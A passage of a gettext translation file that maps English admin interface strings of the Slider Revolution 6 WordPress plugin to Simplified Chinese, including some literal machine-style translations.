admin/views/builder-nav-forms.php:699 msgid "Zoom In" msgstr "放大" #: admin/views/builder-nav-forms.php:129 admin/views/builder-nav-forms.php:182 #: admin/views/builder-nav-forms.php:329 admin/views/builder-nav-forms.php:518 #: admin/views/builder-nav-forms.php:700 msgid "Zoom Out" msgstr "缩小" #: admin/views/builder-nav-forms.php:192 admin/views/builder-nav-forms.php:334 #: admin/views/builder-nav-forms.php:522 admin/views/builder-nav-forms.php:704 msgid "RTL Direction" msgstr "RTL方向" #: admin/views/builder-nav-forms.php:193 admin/views/builder-nav-forms.php:331 #: admin/views/builder-nav-forms.php:520 admin/views/builder-nav-forms.php:702 msgid "Show Speed" msgstr "显示速度" #: admin/views/builder-nav-forms.php:194 admin/views/builder-nav-forms.php:332 #: admin/views/builder-nav-forms.php:521 admin/views/builder-nav-forms.php:703 msgid "Show Delay" msgstr "显示延迟" #: admin/views/builder-nav-forms.php:196 admin/views/builder-nav-forms.php:336 #: admin/views/builder-nav-forms.php:524 admin/views/builder-nav-forms.php:706 msgid "Show Always" msgstr "显示始终" #: admin/views/builder-nav-forms.php:205 admin/views/builder-nav-forms.php:345 #: admin/views/builder-nav-forms.php:533 admin/views/builder-nav-forms.php:717 msgid "Hide Under" msgstr "隐藏下" #: admin/views/builder-nav-forms.php:210 admin/views/builder-nav-forms.php:350 #: admin/views/builder-nav-forms.php:538 admin/views/builder-nav-forms.php:722 msgid "Hide Over" msgstr "隐藏" #: admin/views/builder-nav-forms.php:217 admin/views/builder-nav-forms.php:357 msgid "Navigation Style" msgstr "导航风格" #: admin/views/builder-nav-forms.php:224 admin/views/builder-nav-forms.php:364 #: admin/views/builder-nav-forms.php:552 admin/views/builder-nav-forms.php:736 msgid "Global Style Presets" msgstr "全局样式预设" #: admin/views/builder-nav-forms.php:227 admin/views/builder-nav-forms.php:367 #: admin/views/builder-nav-forms.php:554 admin/views/builder-nav-forms.php:738 msgid "Preset" msgstr "预置" #: admin/views/builder-nav-forms.php:228 admin/views/builder-nav-forms.php:368 #: admin/views/builder-nav-forms.php:555 admin/views/builder-nav-forms.php:739 msgid "Load" msgstr "加载" #: admin/views/builder-nav-forms.php:236 admin/views/builder-nav-forms.php:377 #: admin/views/builder-nav-forms.php:563 admin/views/builder-nav-forms.php:747 msgid "Override Style on Slide" msgstr "覆盖样式Slide" #: admin/views/builder-nav-forms.php:257 msgid "Bullets Type" msgstr "子弹类型" #: admin/views/builder-nav-forms.php:261 msgid "Bullets Style" msgstr "子弹风格" #: admin/views/builder-nav-forms.php:271 msgid "Gap" msgstr "间隙" #: admin/views/builder-nav-forms.php:272 admin/views/builder-nav-forms.php:419 #: admin/views/builder-nav-forms.php:602 msgid "Orientation" msgstr "取向" #: admin/views/builder-nav-forms.php:274 admin/views/builder-nav-forms.php:421 #: admin/views/builder-nav-forms.php:604 admin/views/builder-nav-forms.php:794 #: admin/views/builder-layer-forms.php:1280 msgid "Horizontal" msgstr "横" #: admin/views/builder-nav-forms.php:275 admin/views/builder-nav-forms.php:422 #: admin/views/builder-nav-forms.php:605 admin/views/builder-nav-forms.php:795 #: admin/views/builder-layer-forms.php:1275 msgid "Vertical" msgstr "垂直" #: admin/views/builder-nav-forms.php:319 msgid "Bullets Visibility" msgstr "子弹可见性" #: admin/views/builder-nav-forms.php:395 admin/views/builder-nav-forms.php:578 msgid "Main Style" msgstr "主要风格" #: admin/views/builder-nav-forms.php:398 admin/views/builder-nav-forms.php:478 #: admin/views/builder-nav-forms.php:581 admin/views/builder-nav-forms.php:659 msgid "Size" msgstr "尺寸" #: admin/views/builder-nav-forms.php:399 admin/views/builder-nav-forms.php:495 #: admin/views/builder-nav-forms.php:582 admin/views/builder-nav-forms.php:677 msgid "Wrapper" msgstr "Wrapper" #: admin/views/builder-nav-forms.php:405 msgid "Tabs Type" msgstr "标签类型" #: admin/views/builder-nav-forms.php:409 msgid "Tabs Style" msgstr "标签样式" #: admin/views/builder-nav-forms.php:435 admin/views/builder-nav-forms.php:618 msgid "Inner / Outer" msgstr "内/外" #: admin/views/builder-nav-forms.php:437 admin/views/builder-nav-forms.php:620 msgid "Inner" msgstr "内" #: admin/views/builder-nav-forms.php:438 admin/views/builder-nav-forms.php:621 msgid "Outer Vertical" msgstr "外垂直" #: admin/views/builder-nav-forms.php:439 admin/views/builder-nav-forms.php:622 msgid "Outer Horizontal" msgstr "外水平" #: admin/views/builder-nav-forms.php:471 admin/views/builder-nav-forms.php:654 msgid "Visible amount" msgstr "可见金额" #: admin/views/builder-nav-forms.php:503 admin/views/builder-nav-forms.php:685 msgid "Span" msgstr "跨度" #: admin/views/builder-nav-forms.php:508 msgid "Tabs Visibility" msgstr "标签可见性" #: admin/views/builder-nav-forms.php:545 admin/views/builder-nav-forms.php:729 msgid "Style Global" msgstr "风格全球" #: admin/views/builder-nav-forms.php:588 msgid "Thumb Type" msgstr "拇指类型" #: admin/views/builder-nav-forms.php:592 msgid "Thumbs Style" msgstr "大拇指风格" #: admin/views/builder-nav-forms.php:690 msgid "Thumbs Visibility" msgstr "拇指可见性" #: admin/views/builder-nav-forms.php:760 msgid "Nav Image Dimensions" msgstr "导航图像尺寸" #: admin/views/builder-nav-forms.php:763 msgid "Preview Image" msgstr "预览图片" #: admin/views/builder-nav-forms.php:767 admin/views/builder-slide-forms.php:88 msgid "Image from Stream if exists" msgstr "如果存在,来自Stream的图像" #: admin/views/builder-nav-forms.php:779 msgid "Swipe Settings" msgstr "滑动设置" #: admin/views/builder-nav-forms.php:785 msgid "Mobile Swipe Enabled" msgstr "移动滑动已启用" #: admin/views/builder-nav-forms.php:786 msgid "Desktop Swipe Enabled" msgstr "桌面滑动已启用" #: admin/views/builder-nav-forms.php:787 msgid "Block Scroll" msgstr "阻止滚动" #: admin/views/builder-nav-forms.php:789 msgid "Velocity" msgstr "速度" #: admin/views/builder-nav-forms.php:790 msgid "Min. Finger" msgstr "闵。手指" #: admin/views/builder-nav-forms.php:792 msgid "Swipe Dir" msgstr "滑动目录" #: admin/views/builder-nav-forms.php:804 msgid "Keyboard Settings" msgstr "键盘设置" #: admin/views/builder-nav-forms.php:807 msgid "Keyboard Arrow Navigation" msgstr "键盘箭头导航" #: admin/views/builder-nav-forms.php:813 msgid "Left/Right Arrow Keys" msgstr "左/右箭头键" #: admin/views/builder-nav-forms.php:814 msgid "Up/Down Arrow Keys" msgstr "上/下箭头键" #: admin/views/builder-nav-forms.php:822 msgid "Mouse Scroll Settings" msgstr "鼠标滚动设置" #: admin/views/builder-nav-forms.php:825 msgid "Mouse Scroll Navigation" msgstr "鼠标滚动导航" #: admin/views/builder-nav-forms.php:830 #: admin/views/builder-layer-forms.php:240 msgid "On" msgstr "On" #: admin/views/builder-nav-forms.php:835 msgid "Reverse Scroll" msgstr "反向滚动" #: admin/views/builder-nav-forms.php:837 #: admin/views/builder-layer-forms.php:783 #: admin/views/builder-layer-forms.php:784 msgid "Reverse" msgstr "相反" #: admin/views/header.php:127 msgid "Please Wait..." msgstr "请耐心等待..." #: admin/views/modals-builder.php:20 msgid "Module Creation Guide" msgstr "模块创建指南" #: admin/views/modals-builder.php:27 msgid "" "This Guide will help you with the basic configuration *
            of your Slider " "Revolution 6 Module." msgstr "本指南将帮助您了解Slider Revolution 6模块的基本配置*。" #: admin/views/modals-builder.php:29 msgid "Start Guide" msgstr "入门指南" #: admin/views/modals-builder.php:31 msgid "Quit Guide" msgstr "退出指南" #: admin/views/modals-builder.php:38 msgid "" "* All settings adjusted by the guide can be changed later.
            Click the " "Help Icon to find options & documentation" msgstr "*以后可以更改指南调整的所有设置。
            单击帮助图标以查找选项和文档" #: admin/views/modals-builder.php:70 admin/views/modals-builder.php:105 #: admin/views/modals-builder.php:137 admin/views/modals-builder.php:181 msgid "Previous Step" msgstr "前一步" #: admin/views/modals-builder.php:72 msgid "Module Type" msgstr "模块类型" #: admin/views/modals-builder.php:107 msgid "Module Dimensions" msgstr "模块尺寸" #: admin/views/modals-builder.php:139 msgid "Responisvity" msgstr "响应度" #: admin/views/modals-builder.php:142 admin/views/modals-builder.php:185 msgid "Go to Editor" msgstr "转到编辑" #: admin/views/modals-builder.php:183 msgid "Customization" msgstr "定制" #: admin/views/modals-builder.php:201 msgid "Layer Import" msgstr "图层导入" #: admin/views/modals-builder.php:208 msgid "Import Selected Layers" msgstr "导入所选图层" #: admin/views/modals-builder.php:222 msgid "Navigation Editor" msgstr "导航编辑器" #: admin/views/modals-builder.php:224 msgid "Save Navigation" msgstr "保存导航" #: admin/views/modals-builder.php:232 msgid "Factory Skins" msgstr "工厂皮肤" #: admin/views/modals-builder.php:237 msgid "Add New Navigation " msgstr "添加新导航" #: admin/views/modals-builder.php:269 admin/views/builder-slide-forms.php:510 msgid "Class" msgstr "Class" #: admin/views/modals-builder.php:294 msgid "CSS" msgstr "CSS" #: admin/views/modals-builder.php:294 msgid "Markup" msgstr "标记" #: admin/views/modals-builder.php:300 msgid "Markup Meta" msgstr "标记元" #: admin/views/modals-builder.php:301 msgid "Slide Title" msgstr "Slide 标题" #: admin/views/modals-builder.php:302 msgid "Slide Description" msgstr "Slide 描述" #: admin/views/modals-builder.php:303 admin/views/builder-slide-forms.php:643 msgid "Parameter 1" msgstr "参数1" #: admin/views/modals-builder.php:304 admin/views/builder-slide-forms.php:644 msgid "Parameter 2" msgstr "参数2" #: admin/views/modals-builder.php:305 admin/views/builder-slide-forms.php:645 msgid "Parameter 3" msgstr "参数3" #: admin/views/modals-builder.php:306 admin/views/builder-slide-forms.php:646 msgid "Parameter 4" msgstr "参数4" #: admin/views/modals-builder.php:307 admin/views/builder-slide-forms.php:647 msgid "Parameter 5" msgstr "参数5" #: admin/views/modals-builder.php:308 admin/views/builder-slide-forms.php:648 msgid "Parameter 6" msgstr "参数6" #: admin/views/modals-builder.php:309 admin/views/builder-slide-forms.php:649 msgid "Parameter 7" msgstr "参数7" #: admin/views/modals-builder.php:310 admin/views/builder-slide-forms.php:650 msgid "Parameter 8" msgstr "参数8" #: admin/views/modals-builder.php:311 admin/views/builder-slide-forms.php:651 msgid "Parameter 9" msgstr "参数9" #: admin/views/modals-builder.php:312 admin/views/builder-slide-forms.php:652 msgid "Parameter 10" msgstr "参数10" #: admin/views/modals-builder.php:316 msgid "Meta Values" msgstr "Meta Values" #: admin/views/modals-builder.php:318 msgid "Add New Meta" msgstr "添新 Meta" #: admin/views/modals-builder.php:321 msgid "Meta Config" msgstr "Meta Config" #: admin/views/modals-builder.php:322 admin/views/builder-layer-forms.php:532 msgid "Font Family" msgstr "字体系列" #: admin/views/modals-builder.php:322 admin/views/builder-layer-forms.php:127 msgid "Icon" msgstr "图标" #: admin/views/modals-builder.php:352 admin/views/modals-builder.php:353 msgid "Can not be Empty" msgstr "不能为空" #: admin/views/modals-builder.php:353 msgid "Handle" msgstr "处理" #: admin/views/modals-builder.php:372 msgid "CSS/JS Editor" msgstr "CSS / JS编辑器" #: admin/views/modals-builder.php:372 msgid "CUSTOM CSS" msgstr "习惯 CSS" #: admin/views/modals-builder.php:372 msgid "CUSTOM JS" msgstr "习惯 JS" #: admin/views/modals-builder.php:380 msgid "Methods" msgstr "Methods" #: admin/views/modals-builder.php:382 msgid "Call this function to start the slider." msgstr "将此功能称为 slider。" #: admin/views/modals-builder.php:382 msgid "Start Slider" msgstr "开始Slider" #: admin/views/modals-builder.php:388 msgid "Call this function to pause the slider." msgstr "调用此函数暂停 slider。" #: admin/views/modals-builder.php:394 msgid "Call this function to play the slider if it is paused." msgstr "调用此函数来播放 slider 如果它被暂停。" #: admin/views/modals-builder.php:394 msgid "Resume Slider" msgstr "恢复Slider" #: admin/views/modals-builder.php:400 msgid "Switch slider to previous slide." msgstr "开关slider到以前slide 。" #: admin/views/modals-builder.php:406 msgid "Switch slider to next slide." msgstr "开关slider到下一个slide 。" #: admin/views/modals-builder.php:412 msgid "Scroll page under the slider." msgstr "滚动页面下slider。" #: admin/views/modals-builder.php:412 msgid "External Scroll" msgstr "外部滚动" #: admin/views/modals-builder.php:418 msgid "" "Remove One Slide with Slide Index from the Slider. Index starts with 0 which " "will remove the first slide." msgstr "删除一个Slide同Slide索引来自Slider 。索引从0开始,将删除第一个slide。" #: admin/views/modals-builder.php:418 msgid "Remove Slide" msgstr "去掉Slide" #: admin/views/modals-builder.php:424 admin/views/modals-builder.php:430 msgid "Switch to the slide which is defined as parameter." msgstr "切换到slide它被定义为参数。" #: admin/views/modals-builder.php:424 msgid "Go To Slide" msgstr "去 Slide" #: admin/views/modals-builder.php:430 msgid "Go To Slide with ID" msgstr "去Slide同ID" #: admin/views/modals-builder.php:436 msgid "Get the amount of existing slides in the slider." msgstr "获取滑块中现有幻灯片的数量。" #: admin/views/modals-builder.php:436 msgid "Max Slides" msgstr "Max Slides" #: admin/views/modals-builder.php:442 msgid "Get the current focused slide index." msgstr "获取当前关注的幻灯片索引。" #: admin/views/modals-builder.php:442 msgid "Current Slide" msgstr "当前 Slide" #: admin/views/modals-builder.php:448 msgid "Get the previously played slide." msgstr "获取之前播放的幻灯片。" #: admin/views/modals-builder.php:454 msgid "" "Recalculate all positions, sizing etc in the slider. This should be called " "i.e. if Slider was invisible and becomes visible without any window resize " "event." msgstr "重新计算滑块中的所有位置,大小等。这应该被调用,即如果Slider是不可见的并且在没有任何窗口调整大小事件的情况下变得可见。" #: admin/views/modals-builder.php:454 msgid "Redraw Slider" msgstr "重绘Slider" #: admin/views/modals-builder.php:460 msgid "" "Unbind all listeners, remove current animations and delete containers. Ready " "for Garbage collection." msgstr "取消绑定所有侦听器,删除当前动画并删除容器。准备垃圾收集。" #: admin/views/modals-builder.php:460 msgid "Kill Slider" msgstr "杀 Slider" #: admin/views/modals-builder.php:469 admin/views/modals-builder.php:525 #: admin/views/modals-builder.php:607 msgid "Events" msgstr "活动" #: admin/views/modals-builder.php:471 msgid "Slider Loaded" msgstr "Slider 加载" #: admin/views/modals-builder.php:474 msgid "Slider swapped to an other slide" msgstr "Slider 交换到另一个slide" #: admin/views/modals-builder.php:475 msgid "Index of Current Slide" msgstr "当前幻灯片的索引" #: admin/views/modals-builder.php:475 msgid "Current

          • Index" msgstr "当前
          • 指数" #: admin/views/modals-builder.php:475 admin/views/modals-builder.php:493 #: admin/views/modals-builder.php:496 msgid "Current Slide as jQuery Object" msgstr "当前 Slide 如 jQuery 对象" #: admin/views/modals-builder.php:475 msgid "Prev. Slide as jQuery Object" msgstr "以前Slide如jQuery对象" #: admin/views/modals-builder.php:477 msgid "Slider paused" msgstr "Slider 暂停" #: admin/views/modals-builder.php:478 msgid "Timer Paused" msgstr "定时器暂停" #: admin/views/modals-builder.php:480 msgid "Slider is Playing after pause" msgstr "Slider 暂停后播放" #: admin/views/modals-builder.php:481 msgid "Timer Resumed" msgstr "计时器恢复" #: admin/views/modals-builder.php:483 msgid "Video is playing in slider" msgstr "正在播放视频slider" #: admin/views/modals-builder.php:484 msgid "Video is playing" msgstr "视频正在播放" #: admin/views/modals-builder.php:484 admin/views/modals-builder.php:487 msgid "Video API" msgstr "视频API" #: admin/views/modals-builder.php:484 admin/views/modals-builder.php:487 msgid "youtube, vimeo, html5" msgstr "youtube,vimeo,html5" #: admin/views/modals-builder.php:484 admin/views/modals-builder.php:487 msgid "Video Settings" msgstr "视频设置" #: admin/views/modals-builder.php:486 msgid "Video stopped in slider" msgstr "视频停在了slider" #: admin/views/modals-builder.php:487 msgid "Video is stopped" msgstr "视频已停止" #: admin/views/modals-builder.php:489 msgid "Slider reached the 'stop at' slide" msgstr "Slider 达到'停在'slide" #: admin/views/modals-builder.php:490 msgid "Slider Stopped" msgstr "Slider 停止" #: admin/views/modals-builder.php:492 msgid "Prepared for slide change" msgstr "准备好了slide更改" #: admin/views/modals-builder.php:493 msgid "Slider Before Swap" msgstr "Slider 在交换之前" #: admin/views/modals-builder.php:493 msgid "Coming Slide as jQuery Object" msgstr "未来 Slide 如 jQuery 对象" #: admin/views/modals-builder.php:495 msgid "Finnished with slide change" msgstr "完成幻灯片更改" #: admin/views/modals-builder.php:496 msgid "Slider After Swap" msgstr "Slider 交换后" #: admin/views/modals-builder.php:496 msgid "Previous Slide as jQuery Object" msgstr "" "以前Slide如jQuery对象\n" #: admin/views/modals-builder.php:498 msgid "Last slide starts" msgstr "上一张幻灯片开始" #: admin/views/modals-builder.php:499 msgid "Last Slide Started, Slider is at the end" msgstr "最后一张幻灯片开始,Slider就在最后" #: admin/views/modals-builder.php:501 msgid "Layer Events" msgstr "图层事件" #: admin/views/modals-builder.php:502 msgid "Layer Action (enterstage, enteredstage, leavestage,leftstage)" msgstr "图层动作(输入,进入舞台,离开舞台,离开舞台)" #: admin/views/modals-builder.php:502 msgid "Layer Type (image,video,html)" msgstr "图层类型(图像,视频,html)" #: admin/views/modals-builder.php:502 msgid "Default Settings for Layer" msgstr "图层的默认设置" #: admin/views/modals-builder.php:502 msgid "Layer as jQuery Object" msgstr "图层为jQuery对象" #: admin/views/modals-builder.php:520 msgid "Meta Datas" msgstr "Meta Datas" #: admin/views/modals-builder.php:522 msgid "Basic" msgstr "基本" #: admin/views/modals-builder.php:526 admin/views/modals-builder.php:630 msgid "Social" msgstr "社会" #: admin/views/modals-builder.php:535 msgid "Basic Metas" msgstr "基本的Metas" #: admin/views/modals-builder.php:536 msgid "Link to current page" msgstr "链接到当前页面" #: admin/views/modals-builder.php:536 msgid "http://yoursite.com/page" msgstr "http://yoursite.com/page" #: admin/views/modals-builder.php:537 msgid "Link to WP Home Page" msgstr "链接到WP主页" #: admin/views/modals-builder.php:537 msgid "http://yoursite.com/home" msgstr "http://yoursite.com/home" #: admin/views/modals-builder.php:544 msgid "Post Basics" msgstr "基础知识" #: admin/views/modals-builder.php:546 msgid "Any custom meta tag" msgstr "任何习俗 meta tag" #: admin/views/modals-builder.php:546 msgid "Custom Meta" msgstr "习惯 Meta" #: admin/views/modals-builder.php:547 admin/views/modals-builder.php:634 msgid "Post Title" msgstr "帖子标题" #: admin/views/modals-builder.php:548 msgid "Post Excerpt" msgstr "摘录后摘录" #: admin/views/modals-builder.php:548 admin/views/modals-builder.php:677 msgid "" "Excerpt ipsum dolor sit amet, consetetur sadipscing elitr sed diam nonumy." msgstr "" "Excerpt ipsum dolor sit amet, consetetur sadipscing elitr sed diam nonumy." #: admin/views/modals-builder.php:549 msgid "Post Alias" msgstr "发布别名" #: admin/views/modals-builder.php:550 msgid "Post Content" msgstr "发布内容" #: admin/views/modals-builder.php:550 admin/views/modals-builder.php:551 #: admin/views/modals-builder.php:552 admin/views/modals-builder.php:635 #: admin/views/modals-builder.php:636 admin/views/modals-builder.php:637 msgid "" "Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy " "eirmod tempor invidunt." msgstr "" "Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy " "eirmod tempor invidunt." #: admin/views/modals-builder.php:551 admin/views/modals-builder.php:636 msgid "Post content limit by words" msgstr "通过单词发布内容限制" #: admin/views/modals-builder.php:552 admin/views/modals-builder.php:637 msgid "Post content limit by chars" msgstr "通过字符发布内容限制" #: admin/views/modals-builder.php:557 msgid "Post Details" msgstr "发布详情" #: admin/views/modals-builder.php:558 admin/views/modals-builder.php:638 msgid "The link to the post" msgstr "帖子的链接" #: admin/views/modals-builder.php:558 admin/views/modals-builder.php:638 msgid "http://yoursite.com/post" msgstr "http://yoursite.com/post" #: admin/views/modals-builder.php:559 admin/views/modals-builder.php:639 #: admin/views/modals-builder.php:646 admin/views/modals-builder.php:653 msgid "Date created" msgstr "创建日期" #: admin/views/modals-builder.php:559 msgid "05.03.2018" msgstr "05.03.2018" #: admin/views/modals-builder.php:560 msgid "Date modified" msgstr "修改日期" #: admin/views/modals-builder.php:560 msgid "04.03.2018" msgstr "04.03.2018" #: admin/views/modals-builder.php:561 msgid "Author name" msgstr "作者姓名" #: admin/views/modals-builder.php:561 admin/views/modals-builder.php:640 msgid "John Doe" msgstr "约翰·多伊" #: admin/views/modals-builder.php:562 msgid "Author Avatar URL(size in px)" msgstr "作者阿凡达 URL(大小 px)" #: admin/views/modals-builder.php:562 msgid "http://yoursite/media/avatar.jpg" msgstr "http://yoursite/media/avatar.jpg" #: admin/views/modals-builder.php:563 msgid "Author Website" msgstr "作者网站" #: admin/views/modals-builder.php:563 msgid "http://yoursite/user/page" msgstr "http://yoursite/user/page" #: admin/views/modals-builder.php:564 msgid "Author Posts Page" msgstr "作者帖子页面" #: admin/views/modals-builder.php:564 msgid "http://yoursite/user/post" msgstr "http://yoursite/user/post" #: admin/views/modals-builder.php:569 msgid "Post Categories, Tags and Comments" msgstr "发布类别,标签和评论" #: admin/views/modals-builder.php:570 msgid "Number of comments" msgstr "评论数量" #: admin/views/modals-builder.php:570 msgid "20" msgstr "20" #: admin/views/modals-builder.php:571 msgid "List of categories with links" msgstr "带链接的类别列表" #: admin/views/modals-builder.php:571 admin/views/modals-builder.php:572 msgid "Category1, Category2, Category3" msgstr "Category1,Category2,Category3" #: admin/views/modals-builder.php:572 msgid "List of categories without links" msgstr "没有链接的类别列表" #: admin/views/modals-builder.php:573 msgid "List of tags with links" msgstr "带链接的标签列表" #: admin/views/modals-builder.php:573 msgid "Tag1, Tag2, Tag3" msgstr "Tag1,Tag2,Tag3" #: admin/views/modals-builder.php:580 msgid "WooCommerce Basics" msgstr "WooCommerce基础知识" #: admin/views/modals-builder.php:581 msgid "Categories" msgstr "分类" #: admin/views/modals-builder.php:581 msgid "WC Category1, WC Category2" msgstr "WC类别1,WC类别2" #: admin/views/modals-builder.php:582 msgid "WC Tag 1, WC Tag 2, WC Tag 3" msgstr "WC标签1,WC标签2,WC标签3" #: admin/views/modals-builder.php:583 msgid "Add to Cart URL" msgstr "添加到购物车 URL" #: admin/views/modals-builder.php:583 msgid "http://yoursite.com/addtocart.php" msgstr "http://yoursite.com/addtocart.php" #: admin/views/modals-builder.php:584 msgid "Add to Cart Button" msgstr "添加到购物车按钮" #: admin/views/modals-builder.php:584 msgid "Add To Cart" msgstr "添加到购物车" #: admin/views/modals-builder.php:587 msgid "WooCommerce Prices" msgstr "WooCommerce价格" #: admin/views/modals-builder.php:588 msgid "Full Price" msgstr "全价" #: admin/views/modals-builder.php:588 admin/views/modals-builder.php:589 msgid "$9.99" msgstr "$9.99" #: admin/views/modals-builder.php:589 msgid "Single Price" msgstr "单一价格" #: admin/views/modals-builder.php:590 msgid "Single Price without currency" msgstr "单一价格没有货币" #: admin/views/modals-builder.php:590 msgid "9.99" msgstr "9.99" #: admin/views/modals-builder.php:593 msgid "WooCommerce Stock" msgstr "WooCommerce股票" #: admin/views/modals-builder.php:594 msgid "457819" msgstr "457819" #: admin/views/modals-builder.php:595 msgid "In Stock" msgstr "有现货" #: admin/views/modals-builder.php:595 msgid "5" msgstr "5" #: admin/views/modals-builder.php:596 msgid "Package" msgstr "包" #: admin/views/modals-builder.php:599 msgid "WooCommerce Ratings" msgstr "WooCommerce评级" #: admin/views/modals-builder.php:600 msgid "Number of Ratings" msgstr "评分数量" #: admin/views/modals-builder.php:600 msgid "47" msgstr "47" #: admin/views/modals-builder.php:601 msgid "Number of Reviews" msgstr "评论数量" #: admin/views/modals-builder.php:601 msgid "13" msgstr "13" #: admin/views/modals-builder.php:602 msgid "Text Rating" msgstr "文字评分" #: admin/views/modals-builder.php:602 msgid "9" msgstr "9" #: admin/views/modals-builder.php:603 msgid "Star Rating" msgstr "星级" #: admin/views/modals-builder.php:603 msgid "38" msgstr "38" #: admin/views/modals-builder.php:610 msgid "Event Basics" msgstr "事件基础" #: admin/views/modals-builder.php:611 msgid "Event start date" msgstr "活动开始日期" #: admin/views/modals-builder.php:611 msgid "14.09.2019" msgstr "14.09.2019" #: admin/views/modals-builder.php:612 msgid "Event end date" msgstr "活动结束日期" #: admin/views/modals-builder.php:612 msgid "17.09.2019" msgstr "17.09.2019" #: admin/views/modals-builder.php:613 msgid "Event start time" msgstr "活动开始时间" #: admin/views/modals-builder.php:613 msgid "21:00" msgstr "21:00" #: admin/views/modals-builder.php:614 msgid "Event end time" msgstr "活动结束时间" #: admin/views/modals-builder.php:614 msgid "14:00" msgstr "14:00" #: admin/views/modals-builder.php:615 msgid "Event ID" msgstr "活动ID" #: admin/views/modals-builder.php:615 msgid "EQH-1879" msgstr "EQH-1879" #: admin/views/modals-builder.php:618 msgid "Event Location" msgstr "活动地点" #: admin/views/modals-builder.php:619 msgid "Event location name" msgstr "活动地点名称" #: admin/views/modals-builder.php:619 msgid "Music Hall" msgstr "音乐厅" #: admin/views/modals-builder.php:620 msgid "Event location slug" msgstr "活动地点slu .." #: admin/views/modals-builder.php:620 msgid "Concert" msgstr "音乐会" #: admin/views/modals-builder.php:621 msgid "Event location address" msgstr "活动地址" #: admin/views/modals-builder.php:621 msgid "East 32th Street between Park & Lexington Avn " msgstr "East 32th Street between Park & Lexington Avn " #: admin/views/modals-builder.php:622 msgid "Event location town" msgstr "活动地点镇" #: admin/views/modals-builder.php:622 msgid "Los Angeles" msgstr "Los Angeles" #: admin/views/modals-builder.php:623 msgid "Event location state" msgstr "事件位置状态" #: admin/views/modals-builder.php:623 msgid "US" msgstr "US" #: admin/views/modals-builder.php:624 msgid "Event location postcode" msgstr "活动地点邮政编码" #: admin/views/modals-builder.php:624 msgid "EX 87 TNT" msgstr "EX 87 TNT" #: admin/views/modals-builder.php:625 msgid "Event location region" msgstr "活动地点区域" #: admin/views/modals-builder.php:625 msgid "Orange Country" msgstr "橙色国家" #: admin/views/modals-builder.php:626 msgid "Event location country" msgstr "活动地点国家" #: admin/views/modals-builder.php:626 msgid "USA" msgstr "USA" #: admin/views/modals-builder.php:633 msgid "Social Basics (Flickr, Instagram, Twitter, Facebook, YouTube)" msgstr "社交基础知识(Flickr,Instagram,Twitter,Facebook,YouTube)" #: admin/views/modals-builder.php:635 msgid "Post content" msgstr "发布内容" #: admin/views/modals-builder.php:639 admin/views/modals-builder.php:646 #: admin/views/modals-builder.php:653 admin/views/modals-builder.php:661 #: admin/views/modals-builder.php:669 admin/views/modals-builder.php:678 #: admin/views/modals-builder.php:684 msgid "08.03.2018" msgstr "08.03.2018" #: admin/views/modals-builder.php:640 msgid "Username" msgstr "用户名" #: admin/views/modals-builder.php:645 msgid "Flickr Extras" msgstr "Flickr Extras" #: admin/views/modals-builder.php:647 msgid "Views" msgstr "查看" #: admin/views/modals-builder.php:647 msgid "24" msgstr "24" #: admin/views/modals-builder.php:652 msgid "Instagramm Extras" msgstr "Instagram Extras" #: admin/views/modals-builder.php:654 admin/views/modals-builder.php:671 #: admin/views/modals-builder.php:685 msgid "Number of Likes" msgstr "喜欢的数量" #: admin/views/modals-builder.php:654 msgid "12" msgstr "12" #: admin/views/modals-builder.php:655 admin/views/modals-builder.php:687 msgid "Number of Comments" msgstr "评论数量" #: admin/views/modals-builder.php:655 msgid "19" msgstr "19" #: admin/views/modals-builder.php:660 msgid "Twitter Extras" msgstr "Twitter Extras" #: admin/views/modals-builder.php:661 admin/views/modals-builder.php:669 #: admin/views/modals-builder.php:678 admin/views/modals-builder.php:684 msgid "Date Published" msgstr "发布日期" #: admin/views/modals-builder.php:662 msgid "Retweet Count" msgstr "转推计数" #: admin/views/modals-builder.php:662 msgid "19824" msgstr "19824" #: admin/views/modals-builder.php:663 msgid "Favorite Count" msgstr "最爱的伯爵" #: admin/views/modals-builder.php:663 msgid "1249" msgstr "1249" #: admin/views/modals-builder.php:668 msgid "Facebook Extras" msgstr "Facebook Extras" #: admin/views/modals-builder.php:670 msgid "Date Modified" msgstr "修改日期" #: admin/views/modals-builder.php:670 msgid "18.08.2018" msgstr "18.08.2018" #: admin/views/modals-builder.php:671 msgid "212" msgstr "212" #: admin/views/modals-builder.php:676 msgid "YouTube Extras" msgstr "YouTube Extras" #: admin/views/modals-builder.php:677 msgid "Excerpt" msgstr "摘抄" #: admin/views/modals-builder.php:683 msgid "Vimeo Extras" msgstr "Vimeo Extras" #: admin/views/modals-builder.php:685 msgid "321" msgstr "321" #: admin/views/modals-builder.php:686 msgid "Number of Views" msgstr "观看次数" #: admin/views/modals-builder.php:686 msgid "1786" msgstr "1786" #: admin/views/modals-builder.php:687 msgid "124" msgstr "124" #: admin/views/modals-builder.php:703 admin/views/builder-layer-forms.php:1074 #: admin/views/builder-layer-forms.php:1078 msgid "Actions" msgstr "操作" #: admin/views/modals-builder.php:716 msgid "Trigger Memory" msgstr "触发记忆" #: admin/views/modals-builder.php:716 admin/views/modals-builder.php:832 msgid "Reset before each Loop" msgstr "在每个循环之前重置" #: admin/views/modals-builder.php:716 admin/views/modals-builder.php:832 msgid "Keep Last State" msgstr "保持最后状态" #: admin/views/modals-builder.php:728 msgid "No Action Selected" msgstr "没有选择行动" #: admin/views/modals-builder.php:736 admin/views/modals-builder.php:737 msgid "Click" msgstr "点击" #: admin/views/modals-builder.php:736 admin/views/modals-builder.php:737 msgid "Mouse Enter" msgstr "鼠标输入" #: admin/views/modals-builder.php:736 admin/views/modals-builder.php:737 msgid "Mouse Leave" msgstr "鼠标离开" #: admin/views/modals-builder.php:737 msgid "Interaction" msgstr "相互作用" #: admin/views/modals-builder.php:743 msgid "Action Type" msgstr "行动类型" #: admin/views/modals-builder.php:748 msgid "Link URL" msgstr "链接URL" #: admin/views/modals-builder.php:748 msgid "Enter Link" msgstr "输入链接" #: admin/views/modals-builder.php:749 msgid "Link Target" msgstr "链接目标" #: admin/views/modals-builder.php:749 msgid "Same Window" msgstr "同一个窗口" #: admin/views/modals-builder.php:749 msgid "New Window" msgstr "新窗户" #: admin/views/modals-builder.php:750 msgid "Link Type" msgstr "链接类型" #: admin/views/modals-builder.php:751 msgid "Follow" msgstr "跟随" #: admin/views/modals-builder.php:751 msgid "Follow Link" msgstr "关注链接" #: 